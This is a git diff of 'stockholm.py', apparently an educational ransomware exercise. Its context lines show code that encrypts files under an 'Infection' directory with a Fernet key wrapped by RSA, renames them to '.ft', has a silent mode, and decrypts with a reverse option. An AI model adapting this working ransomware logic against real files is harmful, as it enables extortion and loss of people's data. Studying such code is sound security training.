diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1d17dae --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.venv diff --git a/stockholm.py b/stockholm.py index 999a4e7..8f5b33c 100755 --- a/stockholm.py +++ b/stockholm.py @@ -40,12 +40,12 @@ silent = False def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"): """ Encrypts the symmetric key using the provided public key. - + :param symmetric_key: The symmetric key to encrypt. :param public_key_path: Path to the public RSA key file. :return: Encrypted symmetric key. """ - try: + try: with open(public_key_path, "rb") as public_key_file: public_key = RSA.import_key(public_key_file.read()) cipher_rsa = PKCS1_OAEP.new(public_key) @@ -53,20 +53,20 @@ def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id except Exception as e: my_print(f"Error encrypting symmetric key: {e}") return None - + try: with open(encrypted_key_path, "w") as enc_file: enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8')) except Exception as e: my_print(f"Error writing encrypted symmetric key to file: {e}") return None - + my_print(f"Encrypted symmetric key saved to {encrypted_key_path}") def encrypt_files(files, symmetric_key): """ Encrypts the specified files using the symmetric key with chunked encryption. - + :param files: List of file paths to encrypt. :param symmetric_key: The symmetric key to use for encryption. """ @@ -81,7 +81,7 @@ def encrypt_files(files, symmetric_key): encrypted_file = file.with_suffix(file.suffix + '.ft') else: encrypted_file = file - + try: with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout: # Encrypt in chunks to handle large files @@ -91,15 +91,15 @@ def encrypt_files(files, symmetric_key): chunk = fin.read(65536) # 64KB chunks if not chunk: break - + # Encrypt each chunk separately encrypted_chunk = fernet.encrypt(chunk) - + # Write the length of the encrypted chunk first (for decryption) chunk_length = len(encrypted_chunk) fout.write(chunk_length.to_bytes(4, byteorder='big')) fout.write(encrypted_chunk) - + except Exception as e: my_print(f"Error encrypting file {file}: {e}") continue @@ -115,12 +115,12 @@ def encrypt_files(files, symmetric_key): def decrypt_files(files, symmetric_key): """ Decrypts the specified files using the symmetric key with chunked decryption. - + :param files: List of file paths to decrypt. :param symmetric_key: The symmetric key to use for decryption. """ fernet_main = Fernet(symmetric_key) - + for file in files: if file.suffix != '.ft': continue @@ -128,14 +128,14 @@ def decrypt_files(files, symmetric_key): original_file = file.with_suffix('') if len(original_file.suffixes) == 0: original_file = original_file.with_suffix('.ft') - + try: with open(file, 'rb') as fin, open(original_file, 'wb') as fout: length_key = fin.read(4) if not length_key or len(length_key) < 4: my_print(f"Error reading length of encrypted key from {file}") continue - encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big')) + encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big')) if not encrypted_key: my_print(f"Error reading encrypted key from {file}") continue @@ -146,30 +146,30 @@ def decrypt_files(files, symmetric_key): my_print(f"Error decrypting symmetric key: {e}") continue fernet = Fernet(decrypted_key) - + # Decrypt in chunks while True: # Read the chunk length length_bytes = fin.read(4) if not length_bytes or len(length_bytes) < 4: break - + chunk_length = int.from_bytes(length_bytes, byteorder='big') - + # Read the encrypted chunk encrypted_chunk = fin.read(chunk_length) if not encrypted_chunk or len(encrypted_chunk) < chunk_length: break - + # Decrypt the chunk decrypted_chunk = fernet.decrypt(encrypted_chunk) fout.write(decrypted_chunk) - + except Exception as e: my_print(f"Error decrypting file {file}: {e}") continue - try: + try: os.remove(file) my_print(f"Removed encrypted file: {file}") except Exception as e: @@ -177,47 +177,49 @@ def decrypt_files(files, symmetric_key): continue my_print(f"Decrypted file: {original_file}") + + def list_infection_files(infection_path): """ Lists all files in the Infection directory. - + :return: List of file paths in the Infection directory. - """ + """ if not infection_path.exists(): my_print("Infection path does not exist.") return [] - + files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt] return files def list_infected_files(infection_path): """ Lists all infected files in the Infection directory. - + :return: List of infected file paths in the Infection directory. """ if not infection_path.exists(): my_print("Infection path does not exist.") return [] - + files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft'] return files def generate_symmetric_key(): """ Generates a symmetric key for encryption. - + :return: Generated symmetric key. """ key = Fernet.generate_key() my_print(f"Generated symmetric key: {key.decode('utf-8')}") - return key + return key def my_print(message): """ Prints the message if not in silent mode. - + :param message: The message to print. :param silent: If True, suppresses the output. """ @@ -230,7 +232,7 @@ def main(): parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.") parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0") parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.") - + args = parser.parse_args() global silent @@ -261,7 +263,7 @@ def main(): encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin") if files: encrypt_files(files, symmetric_key) - + else: my_print("No files to encrypt found in the Infection directory.") del symmetric_key